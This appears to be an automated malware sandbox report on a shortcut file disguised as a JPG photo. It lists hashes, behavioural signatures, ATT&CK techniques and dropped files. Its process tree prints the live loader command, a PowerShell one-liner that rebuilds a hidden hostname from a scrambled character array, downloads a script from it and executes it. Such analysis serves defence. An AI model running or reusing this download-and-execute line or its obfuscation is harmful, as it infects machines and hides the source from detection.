bb2c763bfaa4303346f5a48760be04a30be33c909bd4f6eea189bc4a5c288f6f

Analysis

max time kernel
149s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/07/2026, 06:43

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260727_083959.jpg.lnk
Size 1KB
Sample260728-hhcdls1vct
SHA256 bb2c763bfaa4303346f5a48760be04a30be33c909bd4f6eea189bc4a5c288f6f
MD5 f324b04add331c46903e64dae79b3f98
SHA1 630e3fa18d94253775786b41f5b80d8026da5b36
SHA512 cecc18b7e971788b76271c6997dcb4f0ad4c4fd768685da77b1bfb7d1f6b7c5e0a61e170d0c167c7cf25763821805063e164e373259c89f7e1267ced27614b6f
TLSH
T17D31E029DBF20228D5BB4B3558B2631186317B0EEA4CDFDF1380C2949965120F878F2B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	4952	powershell.exe
9	4952	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
936	cmd.exe

Suspicious behavior: EnumeratesProcesses 43 IoCs

pid	Process
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4952	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 936 wrote to memory of 4952	936	cmd.exe	90
PID 4952 wrote to memory of 5204	4952	powershell.exe	91
PID 5204 wrote to memory of 4356	5204	csc.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260727_083959.jpg.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('n','stayn','t','ho','oi','o','o','w.sh','vp','p','eser','r')[11,10,8,3,2,4,0,1,5,7,6,9] -join $CAk) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4952
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\geo3yokk\geo3yokk.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5204
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES77C6.tmp" "c:\Users\Admin\AppData\Local\Temp\geo3yokk\CSCF49EBEEC39374421B82AA6CE52EB1AA5.TMP"
      4⤵
      PID:4356

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES77C6.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES77C6.tmp
Size 1KB
SHA256 d3be467661e2572b0145ada35ad3e86cf49575c198845668623dad88899b74cc
MD5 39a99fc78b28a7211aea2780bfca6486
SHA1 9a30c12b8383a074a523da64ab208aab4c221b17
SHA512 bfffaf2616bd0cebb655a30755de1c7b62889aa71e25dcb6ff93b8215243c26bb4a38f7feb4836665396e41846c54532d8dca17611b1a602aa2ab1153c0a2ef2
TLSH
T1D421AA0593E8470EF4B3173269FA071F92B4FD64DFA2935A944001282C51244EEA0B73
MD5 SHA1 SHA512 TLSH

Submit Download

geo3yokk.dll

Path C:\Users\Admin\AppData\Local\Temp\geo3yokk\geo3yokk.dll
Size 3KB
SHA256 6cb6d3042c31d32ca7c73edc909427f5b7069abab1d87ac7319e4bd5c9f554a4
MD5 90f9ef1397e25275e81b0d3d1157fc49
SHA1 1460bf936fffe0d1c15713e730bd0204e2440b28
SHA512 224b81a248d4e31cf174e5264e7e145f2a605ab63d692cef07c0f979819979a32b293b037e94b837c220147aee1f909ed0af3e11d11ae9844a0555889c46f1d7
TLSH
T1CA51DC16A3E8466BE8770731AFF3035737B4F8108FB3576D59800229AC60754AE31BB1
MD5 SHA1 SHA512 TLSH

Submit Download

CSCF49EBEEC39374421B82AA6CE52EB1AA5.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\geo3yokk\CSCF49EBEEC39374421B82AA6CE52EB1AA5.TMP
Size 652B
SHA256 936f1196b02f4c635a56eb3c2ab20ee7c4e00a3e05c68dbe8837dc70e82683a8
MD5 ad172757f99ac7409c572c3ce9249591
SHA1 d252602756651f12f0ec27d746cfafa3025b8c0a
SHA512 23eeb99c4d232ddd91ae959e7285a128e251b35368405973f81cc5862f16e81c27944310fe99e88cea3ea7745f1c6c53d0d1f600364c4c6fd58146963aef6067
TLSH
T126F05E49A3F8020EF4F35B31BDF6436791B8BD65DE3293ED2444131D28645108962FB3
MD5 SHA1 SHA512 TLSH

Submit Download

geo3yokk.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\geo3yokk\geo3yokk.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

geo3yokk.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\geo3yokk\geo3yokk.cmdline
Size 369B
SHA256 ff0d6da298d0ed3bde248cfeffa9cb6b118c4ea9e3478539d7d84801e4bb1f94
MD5 97c678ad23c17592d302e92241409689
SHA1 a931ae63f4d0b83445957a56043d0636fcb708c0
SHA512 fccfe4be682d7c90103ab7cefce70ef70056bb1f044b7a0ee0f971728547d4bb3604565a726f7ecc22baeb594607f049d644da621c8d6b168b43894a18292e92
TLSH
T185E06F3B5646C2BD02EA200B276AC4ACC77206A329C03FC4E6A0840EE0370042BE27DA
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4952-10-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download

memory/4952-8-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download

memory/4952-11-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download

memory/4952-12-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download

memory/4952-13-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download

memory/4952-14-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download

memory/4952-15-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download

memory/4952-17-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download

memory/4952-16-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download

memory/4952-18-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download

memory/4952-9-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download

memory/4952-2-0x00007FFC6D72F000-0x00007FFC6D730000-memory.dmp

Download

memory/4952-7-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download

memory/4952-6-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download

memory/4952-32-0x00000186F88A0000-0x00000186F88A8000-memory.dmp

Download

memory/4952-5-0x00000186F8630000-0x00000186F8652000-memory.dmp

Download

memory/4952-28-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download

memory/4952-34-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download

memory/4952-35-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download

memory/4952-36-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download

memory/4952-37-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download

memory/4952-38-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download